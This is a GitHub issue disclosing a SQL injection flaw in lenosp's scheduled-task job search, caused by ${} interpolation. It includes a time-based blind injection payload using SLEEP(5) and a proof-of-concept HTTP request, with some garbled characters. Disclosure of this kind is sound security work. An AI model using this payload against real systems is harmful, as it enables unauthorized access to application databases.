8000 Lenosp SQL Injection Vulnerability · Issue #2 · yuanlinqiang/lenosp · GitHub
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

Lenosp SQL Injection Vulnerability #2

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
bayuncao opened this issue Aug 23, 2023 · 0 comments
Open

Lenosp SQL Injection Vulnerability #2

bayuncao opened this issue Aug 23, 2023 · 0 comments

Comments

@bayuncao
Copy link

There is a SQL injection vulnerability in the search box of the scheduled task module of lenosp, and there is a SQL injection vulnerability in the showUser method in/job/showJobList. The vulnerability is caused by the use of the ${} format in the SQL statement of the fuzzy search function to receive parameters input by the foreground user, which allows attackers to inject SQL statements with these parameters
image
image
Payload: page=1&limit=10&jobName=123456' AND (SELECT 3228 FROM (SELECT(SLEEP(5)))GQPB) AND 'jUEA'='jUEA&jobDesc=

poc:
GET /job/showJoblist?page=l&limit=10&jobName=123456&jobDesc-HTTP/1.1Host: 127.0.0.1:8081
sec-ch-ua:"Chromium";="105","Not)A;Brand";v="8"Accept: application/json, text/javascript,*/x; q=0.01X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; 64) AppleWebKit/537.36 (KHTML,like Gecko)Chrome/105.0.5195.54 Safar/537.36
sec-ch-ua-platform: "windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest:empty
Referer: http://127.0.0.1:8081/main
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9
Cookie: JSESSIONID=0d2b7d58-a6f1-4210-9af5-4eedb72502c7
Connection: close

defect code
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant
0